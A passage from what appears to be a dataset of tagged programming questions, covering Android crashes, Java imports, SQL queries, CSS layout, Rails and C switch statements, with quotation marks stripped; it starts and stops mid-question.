list&lt;rowitem&gt; rowitems;     button back;      @override     public void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.activity_dslr);     back=(button)findviewbyid(r.id.button3);     back.setonclicklistener(new view.onclicklistener() {          @override         public void onclick(view v) {             // todo auto-generated method stub             intent s=new intent(getapplicationcontext() m.class);             startactivity(s);             }     });      rowitems = new arraylist&lt;rowitem&gt;();         for (int i = 0; i &lt; titles.length; i++) {         rowitem item = new rowitem(images[i]  titles[i]  descriptions[i]);         rowitems.add(item);         }         listview=(listview)findviewbyid(r.id.list);         customlistviewadapter adapter=new customlistviewadapter(this r.layout.list_item rowitems);         listview.setadapter(adapter);         listview.setonitemclicklistener(this);      }          @override         public void onitemclick(adapterview&lt; &gt; parent  view view  int position long id)         {   switch(position)             {         case 0: intent i=new intent(getapplicationcontext() d.class);                 startactivity(i);                 break;         case 1:intent b=new intent(getapplicationcontext() d_1.class);                 startactivity(b);                 break;         case 2:intent c=new intent(getapplicationcontext() d_2.class);                startactivity(c);                break;         case 3:intent y=new intent(getapplicationcontext() d_3.class);                 startactivity(y);                 break;              }      }         }       customlistviewadapter.java     public class customlistviewadapter extends arrayadapter&lt;rowitem&gt; {     context context;     public customlistviewadapter(context context int resourceid list&lt;rowitem&gt; items)     {   super(context resourceid items);         this.context=context;         }     /*private view holder class*/     private class viewholder {     imageview imageview;     textview txttitle;     textview txtdesc;     }      public view getview(int position  view convertview  viewgroup parent) {     viewholder holder = null;     rowitem rowitem = getitem(position);      layoutinflater minflater = (layoutinflater) context.getsystemservice(activity.layout_inflater_service);     if (convertview == null) {     convertview = minflater.inflate(r.layout.list_item  null);     holder = new viewholder();     holder.txtdesc = (textview) convertview.findviewbyid(r.id.desc);     holder.txttitle = (textview) convertview.findviewbyid(r.id.title);     holder.imageview = (imageview) convertview.findviewbyid(r.id.icon);     convertview.settag(holder);     } else     holder = (viewholder) convertview.gettag();      holder.txtdesc.settext(rowitem.getdesc());     holder.txttitle.settext(rowitem.gettitle());     holder.imageview.setimageresource(rowitem.getimageid());     return convertview;      }     }      rowitem.java     package com.example.m;        public class rowitem     {         private int imageid;         private string title;         private string desc;          public rowitem(int imageid string title string desc)         {             this.imageid=imageid;             this.title=title;             this.desc=desc;         }         public int getimageid()         {             return imageid;         }         public void setimageid(int imageid)         {             this.imageid=imageid;         }         public string getdesc()         {             return desc;         }         public string gettitle()         {             return title;         }         public void settiltle(string title)         {             this.title=title;         }         @override         public string tostring()         {             return title +  \n  + desc;         }      }      dslr.xml     &lt; xml version= 1.0  encoding= utf-8  &gt;     &lt;linearlayout xmlns:android= http://schemas.android.com/apk/res/android      android:layout_width= fill_parent      android:layout_height= fill_parent      android:orientation= vertical  &gt;           &lt;listview     android:id= @+id/list      android:layout_width= match_parent      android:layout_height= wrap_content      /&gt;      &lt;button         android:id= @+id/button3          android:layout_width= wrap_content          android:layout_height= wrap_content          android:text= button  /&gt;      &lt;/linearlayout&gt;      list_item.xml     &lt; xml version= 1.0  encoding= utf-8  &gt;     &lt;relativelayout xmlns:android= http://schemas.android.com/apk/res/android      android:layout_width= fill_parent      android:layout_height= fill_parent  &gt;     &lt;imageview     android:id= @+id/icon      android:layout_width= 80dp      android:layout_height= 80dp      android:contentdescription= @string/image      android:paddingleft= 10dp      android:paddingright= 10dp  /&gt;           &lt;textview     android:id= @+id/title      android:layout_width= wrap_content      android:layout_height= wrap_content      android:layout_torightof= @+id/icon      android:paddingbottom= 10dp      android:textcolor= #cc0033      android:textsize= 16dp  /&gt;           &lt;textview     android:id= @+id/desc      android:layout_width= wrap_content      android:layout_height= wrap_content      android:layout_below= @+id/title      android:layout_torightof= @+id/icon      android:paddingleft= 10dp      android:textcolor= #3399ff      android:textsize= 14dp  /&gt;     &lt;/relativelayout&gt;  logcat 11-29 21:37:24.325: e/trace(642): error opening trace file: no such file or directory (2) 11-29 21:37:24.895: d/libegl(642): loaded /system/lib/egl/libegl_emulation.so 11-29 21:37:24.895: d/libegl(642): loaded /system/lib/egl/libglesv1_cm_emulation.so 11-29 21:37:24.926: d/libegl(642): loaded /system/lib/egl/libglesv2_emulation.so 11-29 21:37:24.945: d/(642): hostconnection::get() new host connection established 0x2a130b70  tid 642 11-29 21:37:24.995: w/egl_emulation(642): eglsurfaceattrib not implemented 11-29 21:37:25.005: d/openglrenderer(642): enabling debug mode 0 11-29 21:37:48.325: d/dalvikvm(642): gc_concurrent freed 116k  3% free 8322k/8519k  paused 16ms+32ms  total 112ms 11-29 21:37:48.789: w/egl_emulation(642): eglsurfaceattrib not implemented 11-29 21:37:55.817: w/egl_emulation(642): eglsurfaceattrib not implemented 11-29 21:37:57.646: d/dalvikvm(642): gc_concurrent freed 125k  3% free 8606k/8839k  paused 41ms+9ms  total 138ms 11-29 21:37:57.915: d/androidruntime(642): shutting down vm 11-29 21:37:57.915: w/dalvikvm(642): threadid=1: thread exiting with uncaught exception (group=0x40a122a0) 11-29 21:37:57.935: e/androidruntime(642): fatal exception: main 11-29 21:37:57.935: e/androidruntime(642): java.lang.runtimeexception: unable to start activity componentinfo{com.example.m/com.example.m.dslr}: java.lang.arrayindexoutofboundsexception: length=4; index=4 11-29 21:37:57.935: e/androidruntime(642):  at android.app.activitythread.performlaunchactivity(activitythread.java:2059) 11-29 21:37:57.935: e/androidruntime(642):  at android.app.activitythread.handlelaunchactivity(activitythread.java:2084) 11-29 21:37:57.935: e/androidruntime(642):  at android.app.activitythread.access$600(activitythread.java:130) 11-29 21:37:57.935: e/androidruntime(642):  at android.app.activitythread$h.handlemessage(activitythread.java:1195) 11-29 21:37:57.935: e/androidruntime(642):  at android.os.handler.dispatchmessage(handler.java:99) 11-29 21:37:57.935: e/androidruntime(642):  at android.os.looper.loop(looper.java:137) 11-29 21:37:57.935: e/androidruntime(642):  at android.app.activitythread.main(activitythread.java:4745) 11-29 21:37:57.935: e/androidruntime(642):  at java.lang.reflect.method.invokenative(native method) 11-29 21:37:57.935: e/androidruntime(642):  at java.lang.reflect.method.invoke(method.java:511) 11-29 21:37:57.935: e/androidruntime(642):  at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:786) 11-29 21:37:57.935: e/androidruntime(642):  at com.android.internal.os.zygoteinit.main(zygoteinit.java:553) 11-29 21:37:57.935: e/androidruntime(642):  at dalvik.system.nativestart.main(native method) 11-29 21:37:57.935: e/androidruntime(642): caused by: java.lang.arrayindexoutofboundsexception: length=4; index=4 11-29 21:37:57.935: e/androidruntime(642):  at com.example.m.dslr.oncreate(dslr.java:60) 11-29 21:37:57.935: e/androidruntime(642):  at android.app.activity.performcreate(activity.java:5008) 11-29 21:37:57.935: e/androidruntime(642):  at android.app.instrumentation.callactivityoncreate(instrumentation.java:1079) 11-29 21:37:57.935: e/androidruntime(642):  at android.app.activitythread.performlaunchactivity(activitythread.java:2023) 11-29 21:37:57.935: e/androidruntime(642):  ... 11 more </code></pre>,android
why does the java compiler complain about explicit import name conflicts but not import package.*   the following code compiles and runs correctly.   <pre><code>import java.util.*; import java.io.*;    class scanner {     public scanner(inputstream in) {      } } public class foo{     public static void main(string[] args) {         java.util.scanner in = new java.util.scanner(system.in);         system.out.println(in.getclass());          scanner in2 = new scanner(system.in);         system.out.println(in2.getclass());     } } </code></pre>   however  if i change <code>import java.util.*;</code> to <code>import java.util.scanner;</code>  i will get the following compiler error.   <pre><code>foo.java:1: error: scanner is already defined in this compilation unit </code></pre>   it seems that in both cases  the compiler should be able to disambiguate equally well  so why does it only complain in the second case,java
how to add slide to unlock effect to a uitextview or uilabel   i have a large text and want to add an effect that is similar to the slide to unlock one of the latest ios and that will go from top to bottom with the text sliding from bottom to top.,ios
appending a string to a sql table <pre><code>stmt= select * from people_    stmt.setstring(1  year); </code></pre>   the table names that i am trying to call are based on year (people_2009  people_2010  etc....)  i have the year set to a java variable.  i know the code above wont work  because it would put quotes around the year  but is there a way to append the string on the table name  or any other way to go about this,sql
safest place to store a password s hash  i know i need to store it as a hash and then compare the values together  but where should i be sending this hash to compare with later,c#
how to take a string from a textview and convert to double without app crashing   i m working on a calculator app right now  and i m trying to take the two string values from two different textviews and convert them to doubles  so i can do operations on them. the problem is that when i m trying to cast the strings as doubles  it isn t working  and will crash the app. i tried it in a try catch block  and it has a numberformatexception every time. here are the lines that aren t working properly:   <pre><code>    double doublecontents1 = double.parsedouble(stringcontents1); // convert first value from string to double     double doublecontents2 = double.parsedouble(stringcontents2); // convert second value from string to double </code></pre>   here is the full code:   <pre><code>public void sendmessageequals(view view) {         textview textview2 = (textview) findviewbyid(r.id.textview2);     // this is the first textview  for the first number         textview textview3 = (textview) findviewbyid(r.id.textview3);     // second textview for the second number         textview textview4 = (textview) findviewbyid(r.id.textview4);     // third textview for displaying the result from the first two         string stringcontents1 = (string) textview2.gettext();     // get the value from the first textview         string stringcontents2 = (string) textview3.gettext();     // get the value from the second textview         double doublecontents1 = double.parsedouble(stringcontents1);     // convert first value from string to double         double doublecontents2 = double.parsedouble(stringcontents2);     // convert second value from string to double          if (operator.equals( + )) {             double doublecontents3 = doublecontents1 + doublecontents2;             string stringcontents3 = double.tostring(doublecontents3);             textview4.settext(stringcontents3);             state =  phase1 ;         }         else if (operator.equals( - )) {             double doublecontents3 = doublecontents1 - doublecontents2;             string stringcontents3 = double.tostring(doublecontents3);         }         else if (operator.equals( * )) {             double doublecontents3 = doublecontents1 * doublecontents2;             string stringcontents3 = double.tostring(doublecontents3);         }         else if (operator.equals( / )) {             if (doublecontents2 != 0) {                 double doublecontents3 = doublecontents1 / doublecontents2;                 string stringcontents3 = double.tostring(doublecontents3);             }          }         else {             state =  phase1 ;         }      } </code></pre>   logcat:    <pre><code>04-23 00:28:50.804 20868-20868/com.example.kellen.homework2tester d/androidruntime: shutting down vm 04-23 00:28:50.805 20868-20868/com.example.kellen.homework2tester e/androidruntime: fatal exception: main     process: com.example.kellen.homework2tester  pid: 20868     java.lang.illegalstateexception: could not execute method for android:onclick         at android.support.v7.app.appcompatviewinflater$declaredonclicklistener.onclick(appcompatviewinflater.java:389)         at android.view.view.performclick(view.java:5610)         at android.view.view$performclick.run(view.java:22265)         at android.os.handler.handlecallback(handler.java:751)         at android.os.handler.dispatchmessage(handler.java:95)         at android.os.looper.loop(looper.java:154)         at android.app.activitythread.main(activitythread.java:6077)         at java.lang.reflect.method.invoke(native method)         at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:866)         at com.android.internal.os.zygoteinit.main(zygoteinit.java:756)      caused by: java.lang.reflect.invocationtargetexception         at java.lang.reflect.method.invoke(native method)         at android.support.v7.app.appcompatviewinflater$declaredonclicklistener.onclick(appcompatviewinflater.java:384)         at android.view.view.performclick(view.java:5610)          at android.view.view$performclick.run(view.java:22265)          at android.os.handler.handlecallback(handler.java:751)          at android.os.handler.dispatchmessage(handler.java:95)          at android.os.looper.loop(looper.java:154)          at android.app.activitythread.main(activitythread.java:6077)          at java.lang.reflect.method.invoke(native method)          at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:866)          at com.android.internal.os.zygoteinit.main(zygoteinit.java:756)       caused by: java.lang.numberformatexception: for input string:  operand 1: 1          at java.lang.floatingdecimal.readjavaformatstring(floatingdecimal.java:1306)         at java.lang.double.parsedouble(double.java:547)         at com.example.kellen.homework2tester.mainactivity.sendmessageequals(mainactivity.java:184)         at java.lang.reflect.method.invoke(native method)          at android.support.v7.app.appcompatviewinflater$declaredonclicklistener.onclick(appcompatviewinflater.java:384)          at android.view.view.performclick(view.java:5610)          at android.view.view$performclick.run(view.java:22265)          at android.os.handler.handlecallback(handler.java:751)          at android.os.handler.dispatchmessage(handler.java:95)          at android.os.looper.loop(looper.java:154)          at android.app.activitythread.main(activitythread.java:6077)          at java.lang.reflect.method.invoke(native method)          at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:866)          at com.android.internal.os.zygoteinit.main(zygoteinit.java:756)  </code></pre>,android
show only consistent records  i have this table:   <pre><code>item_number     item        owner_id       status -----------     ----        --------       ------  12648        powerbank        5569        returned 657891       flash drive      5569        returned 6326         wireless mouse   5569        sold 987998       pocket wifi      8897        sold 78134        wireless mouse   7741        sold 7845159      keyboard         1598        sold 87513        monitor          1598        sold 9841523      speakers         8965        returned </code></pre>   and i want the results to be like this:   <pre><code>item_number     item        owner_id       status -----------     ----        --------       ------ 987998       pocket wifi      8897        sold 78134        wireless mouse   7741        sold 7845159      keyboard         1598        sold 87513        monitor          1598        sold </code></pre>   so  basically  what i want is to extract the owners that had consistently sold items. once a user had a returned item  then he shouldn t appear in the results.    can anybody help me with this      thank you very much!,mysql
need help on javadocx  i need to create ms-word document by using java.there is some components in doc file like..table of contents header footer footnote images tables paragraphs etc.    i found that javadocx will meet this requirement but when i downloaded free version for that..i cant able to add images in doc file.,java
how can i get all the days of the current week in android   i want to get all the days in the current week in an array of strings. how can i acheive this  thanks in advance.,android
python 3 not working in terminal on mac  sorry for the noobie question. python 3 wont work anymore on my mac terminal. when i load it  it installs but after that it wont let me navigate folders or even print ( hello ) comes back with a syntaxerror: eol while scanning string literal   <blockquote>   <blockquote>     <blockquote>              </blockquote>   </blockquote> </blockquote>   ive tried to reinstall it and still not working.    is there anyway to reset it,python
how can i play a video on device from server   i am trying to play a video that is on my server. its short video. nearly 2 minutes. i must download it and play whenever download finished. how can i do that. i havent opinion  do you know any article or code   thanks.,ios
same average function c++  i m trying to compare averages of an array and to detect if there is any similar averages  for example if i have these averages 25 30 70 30 60 so the function should return true because 30 is twice there  but it seems what i m doing is wrong    <pre><code>bool sameaverage(student array[] int size) {     bool issame=false;      for (int i=0;i&lt;size;i++)     {         for (int j=0;j&lt;size;j++)         {             if (array[i].getaveragegrade==array[j].getaveragegrade)                 issame=true;         }      }      return issame; } </code></pre>   it is showing me a red line under the dot operator,c++
"html empty right part  i am new to html and css but i am stuck with a buggy problem. i created my first responsive website but when i scale it down to small sizes and scroll to the right there are 40-50 px of empty space with only the background . i must add that when i scale it up the empty part disappears. some help     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>html {
 
     width:                  100%;
     display:                inline-block;
     margin:                 0px;
 }
 
 body {
      margin:                auto;
   font-family:           arial;
   background-image:      url( weed.png );
      margin-left:           0px;
      margin-right:          0px;
 }
 
  
 
 /*weedmania logo*/
 
 #weedmania_shade{
   z-index:               -1;
      height:                255px;
      width:                 100%;
      margin-left:           0px;
      margin-top:            0px;
      background-color:      rgba(0 0 0 0.7);
 
 }
 
 #weedmania_logo_img {
      margin-right:             -120px;
      margin-top:             -405px;
   height:                  370px;
      width:                   90%;
      min-width:               350px;
      max-width:               800px;
 }
 
 
 
 /*site banner*/
 
 #site_panel {
      float:                left;
   background-image:     url(weeds.jpg);
   font-family:           gigi regular ;
   width:                98%;
   color:                green ;
   border:               4px solid black;
   padding:              5px;
      margin-left:          6px;
      margin-top:           -175px;
  }
 
 
 #site_panel p {
      font-style:          italic;
      text-shadow:         1px 2px black;
 
 
 }
 
 #site_panel h1 {
      text-shadow:        1px 3px black;
 
 
 }
 
 
 
 /*menu*/
 
 nav {
   float:                 left;
      width:                 10%;
      max-width:             200px;
      min-width:             100px;
      height:                100px;
      margin-top:            0px;
      margin-left:           6px;
 }
 
 nav ul{
      padding:                       0;
      background-color:              green;
      border:                        2px solid black;
      
 }
 
 nav ul li {
      list-style:           none;
      border :              1px solid lime;
      padding :             5px;
 }
 
 nav ul li a{
   color:                 lime;
   list-style:            none;
   text-decoration:       none;
      font-family:            arial ;
      font-style:            italic;
 }
 
 nav ul li a:hover{
      color :                #ccffb3;
      text-decoration:       underline;
 }
 
 
 
 
 
 /*leaves and joint*/
 
 #joint_figure #joint_img{
      float:              center;
      border:             3px solid black;
      margin-top:         0px;
      width:              50%;
      min-width:          157px;
 
 
 }
 
 
 
 #leaf_img_left{
 
      float:                  left;
   max-width:              300px;
      width:                  25%;
      height:                 30%;
      margin-left:           -30px;
      margin-top:             10px;
     
 
 }
 
 
 #leaf_img_right{
 
      float:                  right;
      max-width:              300px;
      width:                  25%;
      height:                 30%;
      margin-right:          -30px;
      margin-top:             10px;
 
 }
 
 
 #description{
 
  
      width:              50%;
      height:             10%;
      min-width:          300px;
      font-size:          110%;
      background-color:   rgba(0 0 0 0.75);
 
 }
 
 #description_text{
       
      color:             rgba(255 255 255 0.5);
      font-family:        comic sans ms ;
      padding-top:       2px;
      text-align:        center;
      font-size:         83%;
 
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;!doctype html&gt;
 &lt;html&gt;
 
 &lt;head&gt;
      
      &lt;title&gt; weedmania - weed s biggest community &lt;/title&gt;
      &lt;link rel= stylesheet    href= style.css &gt;
      &lt;meta charset= utf-8 &gt;
      &lt;meta name= viewport   content= width=device-width   contnet= initial-scale=1.0 &gt;
 
 &lt;/head&gt;
 &lt;body&gt;
 
 
 &lt;div&gt;&lt;nav&gt;
     &lt;ul&gt;
       &lt;li&gt;
          &lt;a href= file:///d:/shits/web/joint/altjoint.html &gt;index&lt;/a&gt;
       &lt;/li&gt;
 
       &lt;li&gt;
         &lt;a href= http://messywind.tumblr.com/ &gt;good trip&lt;/a&gt; 
       &lt;/li&gt;
 
       &lt;li&gt;
         &lt;a href= https://www.facebook.com/alex.bmx27 &gt;buy weed&lt;/a&gt;
       &lt;/li&gt;
     &lt;/ul&gt;
 &lt;/nav&gt;&lt;/div&gt;
 
 
 
 
 &lt;article&gt;&lt;center&gt;&lt;figure id= weedmania_shade &gt;&lt;/figure&gt;&lt;/center&gt;&lt;/article&gt;
 
 
           
 &lt;div&gt;&lt;figure id= weedmania_logo &gt;&lt;center&gt;&lt;img src= weedmania_logo.png  id= weedmania_logo_img  alt=  &gt;&lt;/center&gt;&lt;/figure&gt;&lt;/div&gt;
 
 &lt;div&gt;&lt;figure id= stop &gt;&lt;/figure&gt;&lt;/div&gt;
 
 
 &lt;div&gt;&lt;article id= site_start &gt;
 
     &lt;header   id= site_panel &gt; 
 
     &lt;h1&gt; smoke weed everyday &lt;/h1&gt;
     &lt;p&gt; posted by &lt;strong&gt;weedmania&lt;/strong&gt; &lt;/p&gt;
 
     &lt;/header&gt;
 
 
 &lt;div&gt;&lt;figure class= leaves &gt;
 
   &lt;img id= leaf_img_left    src= leaf.png     alt=  &gt;
    
 &lt;/figure&gt;&lt;/div&gt;
 
 &lt;div&gt;&lt;figure class= leaves &gt;
 
   &lt;img id= leaf_img_right    src= leaf.png     alt=  &gt;
    
 &lt;/figure&gt;&lt;/div&gt;
 
 &lt;/article&gt;&lt;/div&gt;
 
 &lt;div&gt;&lt;center&gt;&lt;figure id= joint_figure &gt;
 
 
   &lt;img id= joint_img     src= joint1.jpg      alt=  &gt;
 
 
 &lt;/figure&gt;&lt;/center&gt;&lt;/div&gt;
 
 
 &lt;center&gt;&lt;article id= description &gt;
   
 &lt;p id= description_text &gt;this forum is designed to bring you the latest news about weed worldwide  informations about weed strains  smoking stories and   basically everything you need to know about weed. feel free the create an account and join the community&lt;/p&gt;
 
 &lt;/article&gt;&lt;/center&gt;
 
 &lt;/body&gt;
 &lt;/html&gt;</code></pre>
 </div>
 </div>",html
how to add a sum of numbers that end in a specific number  first of all sorry if my english is poor.i tried searching for an answer to my dilema without any success for about two hours.i imagine this question is rather easy for you guys  but i just started out with programmin.    so using x code/objective c im trying to add all the numbers from 1 to 500 but only numbers that end in 7.for example like : 7 17 27 and so on.i only want does numbers added up.    what i have :   <pre><code>int main(int argc  const char * argv[]) {     int  sum = 0 ;      for (int i = 0; i &lt;= 500; i++) {         if (i%10 == 7) {             sum = sum +i;         }     }      nslog(@ total sum is:%i   sum);      return 0; } </code></pre>,objective-c
displaying image stored in a directory on the server using php  i have an image stored in a directory on my server. want to use php code to display it on the browser; something is wrong with my code. please help.   <pre><code>&lt; php $image = fopen( upload/foto4.jpg    r ); $data = fread($image filesize( $image )); fclose($image); echo &lt;div style= width:15%;height:10%;position:relative;top:22%;left:20% /&gt; .$data. &lt;/div&gt; ;  &gt; </code></pre>,php
i am facing filenotfound exception.. please help me out for this  could not load referenced assembly  d:\dev\prime\proj\prime.framework.root\prime.appinterfaces\bin\debug\prime.appinterfaces.dll .  caught a filenotfoundexception saying  could not load file or assembly  d:\dev\prime\proj\prime.framework.root\prime.appinterfaces\bin\debug\prime.appinterfaces.dll  or one of its dependencies. the system cannot find the file specified. .  d:\dev\prime\proj\prime.businesslogiclayer\resgen,.net
reload a page within a specific time interval in a iphone application  in my application  i fetch data from a website in xml format. and after parsing xml file  in my iphone screen i can show some specific message from the website (that message can be updated at any time or a new message can be post in that website at any time).    so  i want to reload the page within a specific time period to show in my application the updated message.     i.e. my application will be auto refresh in after 10sec and give me the updated message list from the website.    is it possible     if  than how it is possible. please anyone briefly described it with example.,iphone
when compiling the code into apk the pictures wont display  when compiling the code into apk the pictures wont display on android studio but there is no error. texts field are just fine       <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt;     &lt;relativelayout          xmlns:android= http://schemas.android.com/apk/res/android          xmlns:app= http://schemas.android.com/apk/res-auto          xmlns:tools= http://schemas.android.com/tools          android:id= @+id/activity_maint          android:layout_width= match_parent          android:layout_height= match_parent          android:paddingbottom= @dimen/activity_vertical_margin          android:paddingleft= @dimen/activity_horizontal_margin          android:paddingright= @dimen/activity_horizontal_margin          android:paddingtop= @dimen/activity_vertical_margin          android:background= @drawable/jpg       &gt;         &lt;linearlayout             android:orientation= vertical              android:layout_width= match_parent              android:layout_height= match_parent              android:weightsum= 1              android:layout_alignparenttop= true              android:layout_alignparentleft= true              android:layout_alignparentstart= true          &gt;         &lt;textview             android:text= my social              android:layout_width= match_parent              android:layout_height= wrap_content              android:id= @+id/textview              android:textcolor= #fff              android:gravity= center              android:textsize= 25dp /&gt;         &lt;linearlayout             android:orientation= horizontal              android:layout_width= match_parent              android:layout_height= 133dp &gt;             &lt;imageview                 android:layout_width= fill_parent                  android:layout_height= wrap_content                  app:srccompat= @drawable/faceboooook                  android:id= @+id/imageview1                  android:layout_weight= 1                  tools:ignore= contentdescription  /&gt;             ...         &lt;/linearlayout&gt;         &lt;linearlayout             android:orientation= horizontal              android:layout_width= match_parent              android:layout_height= 133dp &gt;             &lt;imageview                 android:layout_width= fill_parent                  android:layout_height= wrap_content                  app:srccompat= @drawable/twitter                  android:id= @+id/imageview95                  android:layout_weight= 1  /&gt;             ...         &lt;/linearlayout&gt;         &lt;linearlayout             android:orientation= horizontal              android:layout_width= match_parent              android:layout_height= 133dp &gt;         &lt;imageview             android:layout_width= fill_parent              android:layout_height= wrap_content              app:srccompat= @drawable/rosinsta              android:id= @+id/imageview9              android:layout_weight= 1  /&gt;         ...         &lt;/linearlayout&gt;         &lt;linearlayout             android:orientation= horizontal              android:layout_width= match_parent              android:layout_height= wrap_content &gt;             &lt;imagebutton                 android:layout_width= wrap_content                  android:layout_height= wrap_content                  app:srccompat= @drawable/ross                  android:id= @+id/imagebutton                  android:layout_weight= 1  /&gt;             &lt;imagebutton                 android:layout_width= wrap_content                  android:layout_height= wrap_content                  app:srccompat= @drawable/about                  android:id= @+id/imagebutton2                  android:layout_weight= 1  /&gt;             &lt;imagebutton                 android:layout_width= wrap_content                  android:layout_height= wrap_content                  app:srccompat= @drawable/contacts                  android:id= @+id/imagebutton3                  android:layout_weight= 1  /&gt;             &lt;imagebutton                 android:layout_width= wrap_content                  android:layout_height= wrap_content                  app:srccompat= @drawable/exit                  android:id= @+id/imagebutton5                  android:layout_weight= 1  /&gt;         &lt;/linearlayout&gt;     &lt;/linearlayout&gt; &lt;/relativelayout&gt;  </code></pre>   when compiling the code into apk the pictures wont display .thats android studio,android
place pull down select menu within a form  i m builiding a form with several fields  and it is placed in a table to be more easy to read. i want to have a pulldown menu inside the form  but using the  select/option  tag i always have the pulldown before or after the whole form. how can i do  here an example:   <pre><code>    document.write( name  addrow  &lt;form action= xxxxxx.php mode=add  method= post  enctype= multipart/form-data &gt; )     document.write( &lt;table width= 900 &gt;&lt;th width= 250 &gt;&lt;/th&gt;&lt;th width= 650 &gt;&lt;/th&gt; )     document.write( &lt;tr&gt; )     document.write( &lt;td&gt;codice evento:&lt;/td&gt; )     document.write( &lt;td&gt;&lt;input type= text  name= id_evcls  maxlength= 10  size= 10 &gt;&lt;/td&gt; )     document.write( &lt;/tr&gt; )     document.write( &lt;tr&gt; )     document.write( &lt;td&gt;tipo evento:&lt;/td&gt; )     document.write( &lt;td&gt;&lt;input type= text  name= id_tipoev  maxlength= 5  size= 10 &gt;&lt;/td&gt; )     document.write( &lt;/tr&gt; )     document.write( &lt;tr&gt; )     document.write( &lt;tr&gt; )     document.write( &lt;td&gt;titolo:&lt;/td&gt; )     document.write( &lt;td&gt;&lt;input type= text  name= titev  maxlength= 35  size= 35 &gt;&lt;/td&gt; )     document.write( &lt;/tr&gt; )     document.write( &lt;tr&gt; )     document.write( &lt;tr&gt; )     document.write( &lt;td&gt;descrizione:&lt;/td&gt; )     document.write( &lt;td&gt;&lt;input type= text  name= descr  maxlength= 150  size= 75 &gt;&lt;/td&gt; )     document.write( &lt;/tr&gt; )     document.write( &lt;tr&gt; )     document.write( &lt;tr&gt; )     document.write( &lt;td&gt;data manifestazione:&lt;/td&gt; )     document.write( &lt;td&gt;&lt;input type= date  name= dataev &gt;&lt;/td&gt; )     document.write( &lt;/tr&gt; )     document.write( &lt;tr&gt; )     document.write( &lt;tr&gt; )     document.write( &lt;td&gt;luogo manifestazione:&lt;/td&gt; )     document.write( &lt;td&gt;&lt;input type= text  name= placev  maxlength= 25  size= 25 &gt;&lt;/td&gt; )     document.write( &lt;/tr&gt; )     document.write( &lt;tr&gt; )     document.write( &lt;tr&gt; )     document.write( &lt;td&gt;nazione:&lt;/td&gt; )     document.write( &lt;td&gt;&lt;input type= text  name= natev  maxlength= 3  size= 3  value= ita &gt;&lt;/td&gt; )     document.write( &lt;/tr&gt; )     document.write( &lt;tr&gt; )     document.write( &lt;td&gt;immagine da utilizzare (jpeg):&lt;/td&gt; )     document.write( &lt;td&gt;&lt;input type= file  name= userfile accept= image/jpeg &gt;&lt;/td&gt; )     document.write( &lt;/tr&gt; )     document.write( &lt;/table&gt; )     fn_buildchooseeventclass()     document.write( &lt;input type= submit  value= conferma inserimento &gt; )     document.write( &lt;/form&gt; ) }  function fn_buildchooseeventclass() {     document.write( &lt;select name= carlist  form= addrow &gt; )     document.write( &lt;option value= volvo &gt;volvo&lt;/option&gt; )     document.write( &lt;option value= saab &gt;saab&lt;/option&gt; )     document.write( &lt;option value= opel &gt;opel&lt;/option&gt; )     document.write( &lt;option value= audi &gt;audi&lt;/option&gt; )     document.write( &lt;/select&gt; ) }   &lt;/script&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>,html
how to sort repeater according to any content   hello i   have an asp.net application where i am getting value from twitter and binding that data to a repeater. there is column name  rate  where user can rate with star rating.    i am not storing this values in any database.    i want this functionality that when i will click on rate it will sort repeater value according to star rate without changing the value.,asp.net
not setting anything in rails  collection_select  i have a rails 2.3 web application that uses the collection_select helper with :multiple => true to handle a habtm relationship. this is working fine to set one or multiple values  however i have not figured out how to allow to remove all selections.    code:   <pre><code>&lt;%= f.collection_select :category_ids  category.find(:all)  :id  :name       { :selected =&gt; @entry.category_ids }      { :multiple =&gt; true  :name =&gt;  entry[category_ids][]  } %&gt; </code></pre>   once the user has ever set a category for an entry  how would i go about allowing it to be removed  so that this entry has no category  is this possible with collection_select or would i need to add a checkbox to handle this specially     p.s: i already tried with :prompt  :include_blank and :allow_blank  but as far as i could see neither of them did anything.,ruby-on-rails
initialize a string with     i have this code   <pre><code>    #include&lt;stdio.h&gt;     #include&lt;string.h&gt;      int main(void)     {         size_t i;         char arr[5] =   ;         for(i = 0; i &lt; 5; i++)             printf( %c    arr[i]);          puts(  );          memset(arr   0   5);         for(i = 0; i &lt; 5; i++)             printf( %c    arr[i]);         return 0; } </code></pre>   why the first printf prints only spaces while the second prints zeros    why is this happening,c
determining the state of a process  i am creating a chatbot-like application and i need to know when the application has reached a certain state.    currently i am using strings to find out what the topic of the conversation is.    such as   <pre><code>string usersaid = text.tostring(); if (usersaid.contains( topic-relevant word ) {     execstaterelevantmethod(); } </code></pre>   however i d like to know if there s a more reliable way to do this. such as:   <pre><code>if (usersaid.contains( what time is it ) {     state.set(timequery); } if (state == timequery) {     execstaterelevantmethod(); } </code></pre>   i have made those state commands up to show you what i m meaning to ask.,java
handle a redirect_to  i have the following code in my controller:   <pre><code>def new   if @cart.line_items.empty      redirect_to store_url  notice:  your cart is empty      return   end    @order = order.new end </code></pre>   i have the following questions:   <ol> <li>what happens when the controller executes the <code>redirect_to</code> statement  does it pass the control to the store controller and it stops to execute the action <code>new</code> or not  does it execute the <code>return</code> and <code>order.new</code> statements </li> <li>what is the goal of the <code>return</code> statement here </li> </ol>,ruby-on-rails
switch statement always including both the case and default  when i compile this program  it outputs both the corresponding switch case and the default tag contents  the only value it doesn t print out for is january  any help would be great!    sample input: 4    sample output:     april error    though i could make the program better  i need to have it this specific way.                                                                       <pre><code>while (month != eof) {         switch (month)         {              case 49:             month2 = getchar();              switch (month2)             {                 case 10:                     printf( january \n );                     break;                 case 48:                     printf( october \n );                     break;                 case 49:                     printf( november \n );                     break;                 case 50:                     printf( december \n );                     break;             }             break;                  case 50:                     printf( february \n );                     break;                 case 51:                     printf( march \n );                     break;                 case 52:                     printf( april \n );                     break;                 case 53:                     printf( may \n );                     break;                 case 54:                     printf( june \n );                     break;                 case 55:                     printf( july \n );                     break;                 case 56:                     printf( august \n );                     break;                 case 57:                     printf( septembe \n );                     break;                 default: printf( error \n );                  }             month = 